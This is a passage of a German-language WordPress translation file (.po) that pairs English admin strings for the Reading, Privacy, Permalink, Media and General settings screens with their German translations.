#: wp-admin/options-writing.php:16 msgid "Writing Settings" msgstr "Einstellungen › Schreiben" #. translators: %s: Documentation URL. #: wp-admin/options-reading.php:170 msgid "Your theme determines how content is displayed in browsers. <a href=\"%s\">Learn more about feeds</a>." msgstr "Dein Theme bestimmt, wie Inhalte in Browsern angezeigt werden. <a href=\"%s\">Erfahre mehr über Feeds (engl.)</a>." #: wp-admin/options-reading.php:164 msgid "Summary" msgstr "Kurzfassung" #: wp-admin/options-reading.php:163 msgid "Full text" msgstr "ganzen Text" #: wp-admin/options-reading.php:160 wp-admin/options-reading.php:161 msgid "For each post in a feed, include" msgstr "Füge für jeden Beitrag in einem Feed Folgendes hinzu" #: wp-admin/options-reading.php:157 msgid "items" msgstr "Einträge" #: wp-admin/options-reading.php:156 msgid "Syndication feeds show the most recent" msgstr "Newsfeeds zeigen die letzten" #: wp-admin/options-reading.php:150 msgid "Blog pages show at most" msgstr "Blogseiten zeigen maximal" #: wp-admin/options-reading.php:144 msgid "<strong>Warning:</strong> these pages should not be the same as your Privacy Policy page!" msgstr "<strong>Warnung:</strong> diese Seiten dürften nicht mit deiner Datenschutzseite übereinstimmen!" #: wp-admin/options-reading.php:141 msgid "<strong>Warning:</strong> these pages should not be the same!" msgstr "<strong>Warnung:</strong> Diese Seiten sollten nicht gleich sein!" #. translators: %s: Select field to choose the page for posts. #: wp-admin/options-reading.php:126 msgid "Posts page: %s" msgstr "Beitragsseite: %s" #. translators: %s: Select field to choose the front page. #: wp-admin/options-reading.php:109 msgid "Homepage: %s" msgstr "Homepage: %s" #. translators: %s: URL to Pages screen. #: wp-admin/options-reading.php:98 msgid "A <a href=\"%s\">static page</a> (select below)" msgstr "Eine <a href=\"%s\">statische Seite</a> (unten auswählen)" #: wp-admin/options-reading.php:67 msgid "Encoding for pages and feeds" msgstr "Zeichensatz für Seiten und Feeds" #: wp-admin/options-reading.php:52 msgid "<a href=\"https://wordpress.org/support/article/settings-reading-screen/\">Documentation on Reading Settings</a>" msgstr "<a href=\"https://wordpress.org/support/article/settings-reading-screen/\">Dokumentation über Leseeinstellungen (engl.)</a>" #: wp-admin/options-reading.php:46 msgid "When this setting is in effect, a reminder is shown in the At a Glance box of the Dashboard that says, “Search engines discouraged”, to remind you that you have directed search engines to not crawl your site." msgstr "Mit dieser Einstellung wird in der Box „Auf einen Blick“ im Dashboard ein Hinweis „Suchmaschinen ausgeschlossen“ eingeblendet, der dich daran erinnern soll, dass deine Website von Suchmaschinen nicht aufgesucht wird." #: wp-admin/options-reading.php:45 msgid "Note that even when set to discourage search engines, your site is still visible on the web and not all search engines adhere to this directive." msgstr "Bitte beachte, dass deine Website auch dann noch im Web sichtbar ist, wenn sie so eingestellt ist, dass sie Suchmaschinen abhalten soll, und dass sich nicht alle Suchmaschinen an diese Richtlinie halten." #: wp-admin/options-reading.php:44 msgid "You can choose whether or not your site will be crawled by robots, ping services, and spiders. If you want those services to ignore your site, click the checkbox next to “Discourage search engines from indexing this site” and click the Save Changes button at the bottom of the screen." msgstr "Du kannst wählen, ob deine Website von Bots, Ping-Diensten und Spidern gecrawlt werden soll oder nicht. Wenn du möchtest, dass diese Dienste diene Website ignorieren, markiere die Checkbox neben „Suchmaschinen davon abhalten, diese Website zu indexieren“ und klicke auf „Änderungen speichern“ ganz unten in dieser Ansicht." #: wp-admin/options-reading.php:34 wp-admin/options-reading.php:171 msgid "https://wordpress.org/support/article/wordpress-feeds/" msgstr "https://wordpress.org/support/article/wordpress-feeds/" #. translators: %s: Documentation URL. #: wp-admin/options-reading.php:33 msgid "You can also control the display of your content in RSS feeds, including the maximum number of posts to display and whether to show full text or a summary. <a href=\"%s\">Learn more about feeds</a>." msgstr "Du kannst auch die Anzeige deiner Inhalte in RSS-Feeds steuern, einschließlich der maximalen Anzahl der anzuzeigenden Beiträge und der Möglichkeit, Volltext oder eine Zusammenfassung anzuzeigen. <a href=\"%s\">Erfahre mehr über Feeds (engl.)</a>." #. translators: %s: URL to create a new page. #: wp-admin/options-reading.php:28 msgid "You can choose what’s displayed on the homepage of your site. It can be posts in reverse chronological order (classic blog), or a fixed/static page. To set a static homepage, you first need to create two <a href=\"%s\">Pages</a>. One will become the homepage, and the other will be where your posts are displayed." msgstr "Du kannst auswählen, was auf der Homepage deiner Website angezeigt wird: Entweder die letzten Beiträge in umgekehrt chronologischer Sortierung (also ein klassischer Blog) oder eine bestimmte (statische) Seite. Willst du eine statische Seite als Homepage festlegen, so solltest du zwei <a href=\"%s\">Seiten</a> anlegen. Eine wird die Homepage, auf der anderen werden dann die Beiträge angezeigt. Beachte dazu auch den weiterführenden Link rechts in der Seitenleiste dieser Hilfe." #: wp-admin/options-reading.php:25 msgid "This screen contains the settings that affect the display of your content." msgstr "Diese Einstellungsseite beinhaltet die Optionen, welche die Darstellung deiner Inhalte regeln." #: wp-admin/options-reading.php:16 msgid "Reading Settings" msgstr "Einstellungen › Lesen" #: wp-admin/options-privacy.php:287 msgid "Use This Page" msgstr "Diese Seite benutzen" #: wp-admin/options-privacy.php:266 msgid "Select a Privacy Policy page" msgstr "Eine Seite für die Datenschutzerklärung auswählen" #: wp-admin/options-privacy.php:264 msgid "Change your Privacy Policy page" msgstr "Deine Seite für die Datenschutzerklärung ändern" #: wp-admin/options-privacy.php:253 msgid "Create" msgstr "Erstellen" #: wp-admin/options-privacy.php:243 msgid "There are no pages." msgstr "Es sind keine Seiten vorhanden." #: wp-admin/options-privacy.php:241 msgid "Create a new Privacy Policy Page" msgstr "Eine Seite für die Datenschutzerklärung erstellen" #. translators: 1: Privacy Policy guide URL, 2: Additional link attributes, 3: #. Accessibility text. #: wp-admin/options-privacy.php:215 msgid "Need help putting together your new Privacy Policy page? <a href=\"%1$s\" %2$s>Check out our Privacy Policy guide%3$s</a> for recommendations on what content to include, along with policies suggested by your plugins and theme." msgstr "Brauchst du Hilfe beim Zusammenstellen deiner neuen Seite zur Datenschutzerklärung? <a href=\"%1$s\" %2$s>Sieh dir unseren Leitfaden an%3$s</a> mit Empfehlungen, welcher Inhalt zusammen mit vorgeschlagenen Erklärungen deiner Plugins und Themes eingefügt werden sollte." #. translators: 1: URL to edit Privacy Policy page, 2: URL to preview Privacy #. Policy page. #: wp-admin/options-privacy.php:204 msgid "<a href=\"%1$s\">Edit</a> or <a href=\"%2$s\">preview</a> your Privacy Policy page content." msgstr "<a href=\"%1$s\">Bearbeite</a> den Inhalt der Seite deiner Datenschutzerklärung oder sieh dir eine <a href=\"%2$s\">Voransicht</a> an." #. translators: 1: URL to edit Privacy Policy page, 2: URL to view Privacy #. Policy page. #: wp-admin/options-privacy.php:197 msgid "<a href=\"%1$s\">Edit</a> or <a href=\"%2$s\">view</a> your Privacy Policy page content." msgstr "Den Inhalt deiner Seite für die Datenschutzerklärung <a href=\"%1$s\">bearbeiten</a> oder <a href=\"%2$s\">anzeigen</a>." #: wp-admin/options-privacy.php:178 msgid "We would also suggest reviewing your Privacy Policy from time to time, especially after installing or updating any themes or plugins. There may be changes or new suggested information for you to consider adding to your policy." msgstr "Wir empfehlen, deine Datenschutzerklärung von Zeit zu Zeit zu überprüfen, besonders nach einer Aktualisierung. Möglicherweise gibt es Änderungen oder neue vorgeschlagene Informationen, die du deiner Datenschutzerklärung hinzufügen solltest." #: wp-admin/options-privacy.php:177 msgid "After your Privacy Policy page is set, we suggest that you edit it." msgstr "Nachdem deine Seite zur Datenschutzerklärung eingerichtet wurde, empfehlen wir dir, sie anzupassen." #: wp-admin/options-privacy.php:174 msgid "However, it is your responsibility to use those resources correctly, to provide the information that your Privacy Policy requires, and to keep that information current and accurate." msgstr "Dennoch liegt es in deiner Verantwortung, solche Ressourcen korrekt zu nutzen, die Informationen anzugeben, die deine Datenschutzerklärung erfordert und diese Informationen aktuell und korrekt zu halten." #: wp-admin/options-privacy.php:173 msgid "The new page will include help and suggestions for your Privacy Policy." msgstr "Die neue Seite wird Hilfe und Vorschläge für deine Datenschutzerklärung beinhalten." #: wp-admin/options-privacy.php:170 msgid "If you already have a Privacy Policy page, please select it below. If not, please create one." msgstr "Falls du bereits eine Seite für die Datenschutzerklärung hast, wähle sie bitte unten aus. Falls nicht, erstelle eine Seite." #: wp-admin/options-privacy.php:169 msgid "As a website owner, you may need to follow national or international privacy laws. For example, you may need to create and display a Privacy Policy." msgstr "Als Betreiber einer Website wirst du nationalen oder internationalen Datenschutzgesetzen Folge leisten müssen. Beispielsweise wirst du eine Datenschutzerklärung erstellen und anzeigen müssen." #: wp-admin/options-privacy.php:167 msgid "Privacy Settings" msgstr "Einstellungen › Datenschutz" #: wp-admin/options-privacy.php:163 wp-admin/privacy-policy-guide.php:61 msgid "The Privacy Settings require JavaScript." msgstr "Die Datenschutzeinstellungen erfordern JavaScript." #. translators: Tab heading for Site Health Status page. #: wp-admin/options-privacy.php:154 wp-admin/privacy-policy-guide.php:52 msgctxt "Privacy Settings" msgid "Policy Guide" msgstr "Richtlinien-Leitfaden" #. translators: Tab heading for Site Health Status page. #: wp-admin/options-privacy.php:147 wp-admin/privacy-policy-guide.php:45 msgctxt "Privacy Settings" msgid "Settings" msgstr "Einstellungen" #. translators: %s: URL to Pages Trash. #: wp-admin/options-privacy.php:118 msgid "The currently selected Privacy Policy page is in the Trash. Please create or select a new Privacy Policy page or <a href=\"%s\">restore the current page</a>." msgstr "Die aktuell ausgewählte Seite für die Datenschutzerklärung befindet sich im Papierkorb. Bitte erstelle oder wähle eine neue Seite für die Datenschutzerklärung. Du kannst auch <a href=\"%s\">die vorliegende Seite wiederherstellen</a>." #: wp-admin/options-privacy.php:108 msgid "The currently selected Privacy Policy page does not exist. Please create or select a new page." msgstr "Die aktuell ausgewählte Seite für die Datenschutzerklärung existiert nicht. Bitte erstelle oder wähle eine neue Seite." #: wp-admin/options-privacy.php:84 msgid "Unable to create a Privacy Policy page." msgstr "Kann Seite für Datenschutzerklärung nicht erstellen." #. translators: %s: URL to Customizer -> Menus. #: wp-admin/options-privacy.php:56 msgid "Privacy Policy page setting updated successfully. Remember to <a href=\"%s\">update your menus</a>!" msgstr "Die Einstellungen der Seite für Datenschutzerklärung wurden erfolgreich aktualisiert. Denk daran, <a href=\"%s\">deine Menüs zu aktualisieren</a>!" #: wp-admin/options-privacy.php:39 msgid "Privacy Policy page updated successfully." msgstr "Seite für Datenschutzerklärung erfolgreich aktualisiert." #: wp-admin/options-privacy.php:13 wp-admin/privacy-policy-guide.php:13 msgid "Sorry, you are not allowed to manage privacy options on this site." msgstr "Du bist leider nicht berechtigt, den Datenschutz dieser Website zu verwalten." #. translators: 1: .htaccess, 2: Documentation URL, 3: CTRL + a #: wp-admin/options-permalink.php:422 msgid "If your %1$s file was <a href=\"%2$s\">writable</a>, we could do this automatically, but it isn’t so these are the mod_rewrite rules you should have in your %1$s file. Click in the field and press %3$s to select all." msgstr "Wenn die %1$s-Datei <a href=\"%2$s\">beschreibbar</a> wäre, könnte WordPress das automatisch machen. Das ist nicht der Fall. Darum findest du hier die mod_rewrite-Regeln für deine %1$s-Datei. Klicke in das Feld und verwende %3$s, um alles auszuwählen." #: wp-admin/options-permalink.php:413 msgid "<a href=\"https://wordpress.org/support/article/nginx/\">Documentation on Nginx configuration</a>." msgstr "<a href=\"https://wordpress.org/support/article/nginx/\">Dokumentation zur Nginx-Konfiguration (engl.)</a>." #. translators: %s: web.config #: wp-admin/options-permalink.php:405 msgid "If you temporarily make your site’s root directory writable for us to generate the %s file automatically, do not forget to revert the permissions after the file has been created." msgstr "Wenn du das Stammverzeichnis deiner Website kurzfristig beschreibbar machst, um die Datei %s automatisch erstellen zu lassen, dann vergiss nicht, die Berechtigungen zurückzusetzen, nachdem die Datei angelegt wurde." #. translators: 1: Documentation URL, 2: web.config, 3: CTRL + a #: wp-admin/options-permalink.php:390 msgid "If the root directory of your site was <a href=\"%1$s\">writable</a>, we could do this automatically, but it isn’t so this is the url rewrite rule you should have in your %2$s file. Create a new file, called %2$s in the root directory of your site. Click in the field and press %3$s to select all. Then insert this code into the %2$s file." msgstr "Wenn das Hauptverzeichnis deiner Website <a href=\"%1$s\">beschreibbar</a> wäre, könnte WordPress das automatisch machen. Das ist nicht der Fall. Darum findest du hier die mod_rewrite-Regeln für deine %2$s-Datei. Erstelle eine neue Datei namens %2$s im Stammverzeichnis deiner Website. Klicke in das Feld und verwende %3$s, um alles auszuwählen. Füge diese dann in die %2$s-Datei ein." #. translators: %s: web.config #: wp-admin/options-permalink.php:380 msgid "If you temporarily make your %s file writable for us to generate rewrite rules automatically, do not forget to revert the permissions after rule has been saved." msgstr "Wenn du deine %s-Datei temporär beschreibbar machst, um die rewrite-Regeln automatisch eintragen zu lassen, vergiss nicht, die Berechtigungen zurückzusetzen, nachdem die Regeln gespeichert worden sind." #. translators: 1: web.config, 2: Documentation URL, 3: CTRL + a, 4: Element #. code. #: wp-admin/options-permalink.php:364 msgid "If your %1$s file was <a href=\"%2$s\">writable</a>, we could do this automatically, but it isn’t so this is the url rewrite rule you should have in your %1$s file. Click in the field and press %3$s to select all. Then insert this rule inside of the %4$s element in %1$s file." msgstr "Wenn deine %1$s-Datei <a href=\"%2$s\">beschreibbar</a> wäre, könnte WordPress sie automatisch bearbeiten. Das ist nicht der Fall. Darum findest du hier die mod_rewrite-Regeln, die du in deine %1$s-Datei einfügen musst. Klicke in das Feld und verwende %3$s, um alles auszuwählen. Füge diese Regel dann im %4$s-Element der %1$s-Datei hinzu." #: wp-admin/options-permalink.php:344 msgid "Tag base" msgstr "Schlagwort-Basis" #. translators: Prefix for category permalinks. #: wp-admin/options-permalink.php:340 msgid "Category base" msgstr "Kategorie-Basis" #. translators: %s: Placeholder that must come at the start of the URL. #: wp-admin/options-permalink.php:334 msgid "If you like, you may enter custom structures for your category and tag URLs here. For example, using <code>topics</code> as your category base would make your category links like <code>%s/topics/uncategorized/</code>. If you leave these blank the defaults will be used." msgstr "Wenn du magst, kannst du hier individuelle Strukturen für deine Kategorien- und Schlagwörter-URLs anlegen. Zum Beispiel, wenn du <code>thema</code> als Kategorie-Basis verwendest, sehen die Links so aus: <code>%s/thema/allgemein/</code>. Falls das Feld leer bleibt, werden die Standardwerte verwendet." #: wp-admin/options-permalink.php:330 msgid "Optional" msgstr "Optional" #: wp-admin/options-permalink.php:306 msgid "Available tags:" msgstr "Verfügbare Platzhalter:" #. translators: %s: Permalink structure tag. #: wp-admin/options-permalink.php:302 msgid "%s (already used in permalink structure)" msgstr "%s (bereits in der Permalink-Struktur verwendet)" #. translators: %s: Permalink structure tag. #: wp-admin/options-permalink.php:299 msgid "%s added to permalink structure" msgstr "%s zur Permalink-Struktur hinzugefügt" #. translators: %s: Permalink structure tag. #: wp-admin/options-permalink.php:286 msgid "%s (A sanitized version of the author name.)" msgstr "%s (Eine bereinigte Version des Autor-Namens.)" #. translators: %s: Permalink structure tag. #: wp-admin/options-permalink.php:284 msgid "%s (Category slug. Nested sub-categories appear as nested directories in the URL.)" msgstr "%s (Kategorie-Titelform. Verschachtelte Unterkategorien erscheinen als verschachtelte Verzeichnisse in der URL.)" #. translators: %s: Permalink structure tag. #: wp-admin/options-permalink.php:282 msgid "%s (The sanitized post title (slug).)" msgstr "%s (Der bereinigte Beitrags-Titel (Titelform).)" #. translators: %s: Permalink structure tag. #: wp-admin/options-permalink.php:280 msgid "%s (The unique ID of the post, for example 423.)" msgstr "%s (Die eindeutige ID des Beitrags, zum Beispiel 423.)" #. translators: %s: Permalink structure tag. #: wp-admin/options-permalink.php:278 msgid "%s (Second of the minute, for example 33.)" msgstr "%s (Sekunde einer Minute, zum Beispiel 33.)" #. translators: %s: Permalink structure tag. #: wp-admin/options-permalink.php:276 msgid "%s (Minute of the hour, for example 43.)" msgstr "%s (Minute einer Stunde, zum Beispiel 43.)" #. translators: %s: Permalink structure tag. #: wp-admin/options-permalink.php:274 msgid "%s (Hour of the day, for example 15.)" msgstr "%s (Stunde des Tages, zum Beispiel 15.)" #. translators: %s: Permalink structure tag. #: wp-admin/options-permalink.php:272 msgid "%s (Day of the month, for example 28.)" msgstr "%s (Tag des Monats, zum Beispiel 28.)" #. translators: %s: Permalink structure tag. #: wp-admin/options-permalink.php:270 msgid "%s (Month of the year, for example 05.)" msgstr "%s (Monat des Jahres, zum Beispiel 05.)" #. translators: %s: Permalink structure tag. #: wp-admin/options-permalink.php:268 msgid "%s (The year of the post, four digits, for example 2004.)" msgstr "%s (Das Jahr des Beitrags, vier Ziffern, zum Beispiel 2004.)" #: wp-admin/options-permalink.php:257 msgid "Custom Structure" msgstr "Individuelle Struktur" #: wp-admin/options-permalink.php:251 msgid "Post name" msgstr "Beitragsname" #: wp-admin/options-permalink.php:247 msgid "Numeric" msgstr "Numerisch" #: wp-admin/options-permalink.php:243 msgid "Month and name" msgstr "Monat und Name" #: wp-admin/options-permalink.php:240 wp-admin/options-permalink.php:244 #: wp-admin/options-permalink.php:252 msgctxt "sample permalink structure" msgid "sample-post" msgstr "beispielbeitrag" #: wp-admin/options-permalink.php:239 msgid "Day and name" msgstr "Tag und Name" #: wp-admin/options-permalink.php:235 msgid "Plain" msgstr "Einfach" #: wp-admin/options-permalink.php:232 msgid "Common Settings" msgstr "Gebräuchliche Einstellungen" #: wp-admin/options-permalink.php:228 wp-admin/options-permalink.php:248 msgctxt "sample permalink base" msgid "archives" msgstr "archive" #: wp-admin/options-permalink.php:212 msgid "https://wordpress.org/support/article/using-permalinks/" msgstr "https://wordpress.org/support/article/using-permalinks/" #. translators: %s: Documentation URL. #: wp-admin/options-permalink.php:211 msgid "WordPress offers you the ability to create a custom URL structure for your permalinks and archives. Custom URL structures can improve the aesthetics, usability, and forward-compatibility of your links. A <a href=\"%s\">number of tags are available</a>, and here are some examples to get you started." msgstr "WordPress bietet die Möglichkeit, individuelle URL-Strukturen für deine Permalinks und Archive zu erstellen. Individuelle URL-Strukturen verbessern Aussehen, Benutzerfreundlichkeit und Vorwärtskompatibilität der Links. Eine <a href=\"%s\">Reihe an Platzhaltern ist verfügbar</a>, hier sind einige Beispiele, um dir den Einstieg zu erleichtern." #. translators: %s: web.config #: wp-admin/options-permalink.php:174 msgid "Permalink structure updated. Remove write access on %s file now!" msgstr "Die Permalink-Struktur wurde aktualisiert. Entferne jetzt die Schreibrechte für %s!" #. translators: %s: web.config #. translators: %s: .htaccess #: wp-admin/options-permalink.php:168 wp-admin/options-permalink.php:181 msgid "You should update your %s file now." msgstr "Du solltest jetzt deine %s-Datei aktualisieren." #: wp-admin/options-permalink.php:161 msgid "Permalink structure updated." msgstr "Permalink-Struktur aktualisiert." #: wp-admin/options-permalink.php:61 msgid "<a href=\"https://wordpress.org/support/article/using-permalinks/\">Documentation on Using Permalinks</a>" msgstr "<a href=\"https://wordpress.org/support/article/using-permalinks/\">Dokumentation über die Verwendung von Permalinks (engl.)</a>" #: wp-admin/options-permalink.php:60 msgid "<a href=\"https://wordpress.org/support/article/settings-permalinks-screen/\">Documentation on Permalinks Settings</a>" msgstr "<a href=\"https://wordpress.org/support/article/settings-permalinks-screen/\">Dokumentation zu Permalinks-Einstellungen (engl.)</a>" #: wp-admin/options-permalink.php:53 msgid "The Optional fields let you customize the “category” and “tag” base names that will appear in archive URLs. For example, the page listing all posts in the “Uncategorized” category could be <code>/topics/uncategorized</code> instead of <code>/category/uncategorized</code>." msgstr "Unter Optional kannst du den Basis-Namen des Kategorie-Archivs (Standard: <code>category</code>) oder Schlagwort-Archivs (Standard: <code>tag</code>) individuell anpassen; quasi den Begriff, der dann in Archiv-URLs erscheint. Zum Beispiel würde die Seite, die alle Beiträge der Kategorie „Allgemein“ anzeigt, anstatt bisher <code>category/allgemein/</code> stattdessen <code>thema/allgemein</code> sein. Wenn du nichts eingibst, werden die Standardwerte benutzt." #: wp-admin/options-permalink.php:52 msgid "Custom Structures" msgstr "Individuelle Strukturen" #. translators: 1: %category%, 2: %tag% #: wp-admin/options-permalink.php:41 msgid "When you assign multiple categories or tags to a post, only one can show up in the permalink: the lowest numbered category. This applies if your custom structure includes %1$s or %2$s." msgstr "Wenn du einem Beitrag mehrere Kategorien oder Schlagwörter zuweist, kann nur eine im Permalink erscheinen: die am niedrigsten nummerierte Kategorie. Dies gilt, wenn deine individuelle Struktur %1$s oder %2$s enthält." #. translators: %s: Percent sign (%). #: wp-admin/options-permalink.php:36 msgid "If you pick an option other than Plain, your general URL path with structure tags (terms surrounded by %s) will also appear in the custom structure field and your path can be further modified there." msgstr "Falls du eine andere Struktur als „Einfach“ auswählst, wird dein genereller URL-Pfad mit Struktur-Schlagwörtern (Begriffe umschlossen mit %s) direkt in das individuelle Struktur-Feld übertragen und du kannst den Pfad auf Wunsch noch weiter anpassen." #: wp-admin/options-permalink.php:33 msgid "Permalinks can contain useful information, such as the post date, title, or other elements. You can choose from any of the suggested permalink formats, or you can craft your own if you select Custom Structure." msgstr "Permalinks können hilfreiche Informationen wie z. B. das Beitragsdatum, den Beitragstitel oder weitere Eigenschaften enthalten. Du kannst eins der vorgegebenen Permalink-Formate nutzen oder erstelle eine Permalink-Struktur nach deinen Wünschen." #: wp-admin/options-permalink.php:24 msgid "This screen allows you to choose your permalink structure. You can choose from common settings or create custom URL structures." msgstr "Auf dieser Seite kannst du deine gewünschte Permalink-Struktur einstellen. Du kannst entweder aus üblichen Einstellungen wählen oder eine individuelle URL-Struktur erstellen." #: wp-admin/options-permalink.php:23 msgid "Permalinks are the permanent URLs to your individual pages and blog posts, as well as your category and tag archives. A permalink is the web address used to link to your content. The URL to each post should be permanent, and never change — hence the name permalink." msgstr "Permalinks sind dauerhafte Adressen für einzelne Beiträge, Seiten, Kategorien usw. Ein Permalink ist die Webadresse, die zu Deinem Inhalt verlinkt. Sie sollten eindeutig sein und sich niemals ändern. Sonst wären es keine Permalinks." #: wp-admin/options-permalink.php:16 wp-admin/options-permalink.php:32 msgid "Permalink Settings" msgstr "Einstellungen › Permalinks" #: wp-admin/options-media.php:143 msgid "Organize my uploads into month- and year-based folders" msgstr "Meine Uploads in monats- und jahresbasierten Ordnern organisieren" #: wp-admin/options-media.php:132 msgid "Configuring this is optional. By default, it should be blank." msgstr "Diese Einstellung ist optional. Standardmäßig sollte sie leer sein" #: wp-admin/options-media.php:130 msgid "Full URL path to files" msgstr "Kompletter Pfad zu den Dateien" #. translators: %s: wp-content/uploads #: wp-admin/options-media.php:123 msgid "Default is %s" msgstr "Vorgabe ist %s" #: wp-admin/options-media.php:118 msgid "Store uploads in this folder" msgstr "Uploads in folgendem Ordner speichern" #: wp-admin/options-media.php:107 msgid "Uploading Files" msgstr "Dateien hochladen" #: wp-admin/options-media.php:81 wp-admin/options-media.php:82 msgid "Large size" msgstr "Groß" #: wp-admin/options-media.php:75 wp-admin/options-media.php:86 msgid "Max Height" msgstr "Maximale Höhe" #: wp-admin/options-media.php:72 wp-admin/options-media.php:83 msgid "Max Width" msgstr "Maximale Breite" #: wp-admin/options-media.php:70 wp-admin/options-media.php:71 msgid "Medium size" msgstr "Mittelgroß" #: wp-admin/options-media.php:65 msgid "Crop thumbnail to exact dimensions (normally thumbnails are proportional)" msgstr "Das Vorschaubild auf die exakte Größe beschneiden (Vorschaubilder sind normalerweise proportional)" #: wp-admin/options-media.php:56 wp-admin/options-media.php:57 msgid "Thumbnail size" msgstr "Vorschaubilder" #: wp-admin/options-media.php:52 msgid "The sizes listed below determine the maximum dimensions in pixels to use when adding an image to the Media Library." msgstr "Die unten aufgeführten Größen bestimmen die maximalen Abmessungen in Pixel, die beim Hinzufügen von Bildern zur Mediathek verwendet werden." #: wp-admin/options-media.php:51 msgid "Image sizes" msgstr "Bildgröße" #: wp-admin/options-media.php:37 msgid "<a href=\"https://wordpress.org/support/article/settings-media-screen/\">Documentation on Media Settings</a>" msgstr "<a href=\"https://wordpress.org/support/article/settings-media-screen/\">Dokumentation zu den Medien-Einstellungen (engl.)</a>" #: wp-admin/options-media.php:22 msgid "Uploading Files allows you to choose the folder and path for storing your uploaded files." msgstr "Im Bereich „Dateien hochladen“ bestimmst du den Ordner und Pfad für die Speicherung deiner hochgeladenen Dateien." #: wp-admin/options-media.php:19 msgid "You can set maximum sizes for images inserted into your written content; you can also insert an image as Full Size." msgstr "Du kannst auf dieser Seite einstellen, welche Größe Bilder maximal haben sollen, wenn sie eingefügt werden. Dir bleibt aber unabhängig davon immer noch die Möglichkeit, ein Bild auch in seiner ursprünglichen Größe einzufügen." #: wp-admin/options-media.php:16 msgid "Media Settings" msgstr "Einstellungen › Medien" #: wp-admin/options-general.php:383 msgid "Week Starts On" msgstr "Woche beginnt am " #: wp-admin/options-general.php:377 msgid "<a href=\"https://wordpress.org/support/article/formatting-date-and-time/\">Documentation on date and time formatting</a>." msgstr "<a href=\"https://wordpress.org/support/article/formatting-date-and-time/\">Dokumentation zur Datums- und Zeitformatierung (engl.)</a>." #: wp-admin/options-general.php:371 msgid "Custom time format:" msgstr "Individuelles Zeitformat:" #: wp-admin/options-general.php:370 msgid "enter a custom time format in the following field" msgstr "Gib im folgenden Feld ein individuelles Zeitformat ein" #: wp-admin/options-general.php:337 wp-admin/options-general.php:374 msgid "Preview:" msgstr "Vorschau:" #: wp-admin/options-general.php:334 msgid "Custom date format:" msgstr "Individuelles Datumsformat:" #: wp-admin/options-general.php:333 msgid "enter a custom date format in the following field" msgstr "Gib im folgenden Feld ein individuelles Datumsformat ein" #: wp-admin/options-general.php:333 wp-admin/options-general.php:370 msgid "Custom:" msgstr "Angepasst:" #: wp-admin/options-general.php:295 msgid "This timezone does not observe daylight saving time." msgstr "In dieser Zeitzone gibt es keine Sommerzeit." #. translators: %s: Date and time. #: wp-admin/options-general.php:289 msgid "Standard time begins on: %s." msgstr "Normalzeit beginnt am: %s." #. translators: %s: Date and time. #: wp-admin/options-general.php:287 msgid "Daylight saving time begins on: %s." msgstr "Sommerzeit beginnt am: %s." #: wp-admin/options-general.php:274 msgid "This timezone is currently in standard time." msgstr "Diese Zeitzone ist zurzeit in der Winterzeit." #: wp-admin/options-general.php:272 msgid "This timezone is currently in daylight saving time." msgstr "Diese Zeitzone ist zurzeit in der Sommerzeit." #. translators: %s: Local time. #: wp-admin/options-general.php:256 msgid "Local time is %s." msgstr "Die Ortszeit ist %s." #. translators: %s: UTC time. #: wp-admin/options-general.php:246 msgid "Universal time is %s." msgstr "Die Universalzeit ist %s." #. translators: %s: UTC abbreviation #: wp-admin/options-general.php:235 msgid "Choose either a city in the same timezone as you or a %s (Coordinated Universal Time) time offset." msgstr "Wähle entweder eine Stadt in der gleichen Zeitzone wie die deine oder einen %s (Koordinierte Universalzeit) Zeitversatz." #. translators: 1: WPLANG, 2: wp-config.php #: wp-admin/options-general.php:191 msgid "The %1$s constant in your %2$s file is no longer needed." msgstr "Die Konstante %1$s in deiner Datei %2$s wird nicht länger benötigt." #: wp-admin/options-general.php:149 msgid "New User Default Role" msgstr "Standardrolle eines neuen Benutzers" #: wp-admin/options-general.php:144 msgid "Anyone can register" msgstr "Jeder kann sich registrieren." #: wp-admin/options-general.php:141 wp-admin/options-general.php:142 msgid "Membership" msgstr "Mitgliedschaft" #. translators: %s: New admin email. #: wp-admin/options-general.php:123 msgid "There is a pending change of the admin email to %s." msgstr "Eine Änderung der Administratoren-E-Mail-Adresse in %s steht noch aus." #: wp-admin/options-general.php:113 wp-admin/network/settings.php:164 msgid "This address is used for admin purposes. If you change this, we will send you an email at your new address to confirm it. <strong>The new address will not become active until confirmed.</strong>" msgstr "Diese Adresse wird für administrative Zwecke verwendet. Wenn du diese änderst, bekommst du eine E-Mail an deine neue E-Mail-Adresse, um die Änderung zu bestätigen. <strong>Die neue Adresse wird erst nach dieser Bestätigung benutzt.</strong>" #: wp-admin/options-general.php:111 msgid "Administration Email Address" msgstr "Administrator-E-Mail-Adresse" #: wp-admin/options-general.php:100 msgid "https://wordpress.org/support/article/giving-wordpress-its-own-directory/" msgstr "https://wordpress.org/support/article/giving-wordpress-its-own-directory/" #. translators: %s: Documentation URL. #: wp-admin/options-general.php:99 msgid "Enter the address here if you <a href=\"%s\">want your site home page to be different from your WordPress installation directory</a>." msgstr "Gib hier die Adresse ein, wenn <a href=\"%s\">die Startseite deiner Website von deinem WordPress-Installationsverzeichnis abweichen soll</a>." #: wp-admin/options-general.php:71 msgid "In a few words, explain what this site is about." msgstr "Erkläre in ein paar Worten, worum es auf deiner Website geht." #: wp-admin/options-general.php:48 msgid "<a href=\"https://wordpress.org/support/article/settings-general-screen/\">Documentation on General Settings</a>" msgstr "<a href=\"https://wordpress.org/support/article/settings-general-screen/\">Dokumentation über die allgemeinen Einstellungen (engl.)</a>" #: wp-admin/options-general.php:35 msgid "UTC means Coordinated Universal Time." msgstr "UTC bedeutet Coordinated Universal Time beziehungsweise koordinierte Weltzeit." #: wp-admin/options-general.php:34 wp-admin/network/settings.php:55 msgid "You can set the language, and the translation files will be automatically downloaded and installed (available if your filesystem is writable)." msgstr "Du kannst eine Sprache auswählen. Die Sprachdateien werden dann automatisch heruntergeladen und installiert (Schreibrechte in deinem Dateisystem vorausgesetzt)." #: wp-admin/options-general.php:31 msgid "If you want site visitors to be able to register themselves, as opposed to by the site administrator, check the membership box. A default user role can be set for all new users, whether self-registered or registered by the site admin." msgstr "Wenn du willst, dass sich Benutzer selber registrieren dürfen, dann aktiviere dazu die entsprechende Checkbox. Du kannst auch festlegen, welche Benutzerrolle neu registrierte Benutzer automatisch zugewiesen bekommen." #: wp-admin/options-general.php:30 msgid "The WordPress URL and the Site URL can be the same (example.com) or different; for example, having the WordPress core files (example.com/wordpress) in a subdirectory instead of the root directory." msgstr "Der Website-URL und der WordPress-URL können sowohl gleich (example.com) als auch unterschiedlich sein. So kannst du WordPress-Core-Dateien zum Beispiel in einem Unterverzeichnis (example.com/wordpress) installieren statt im 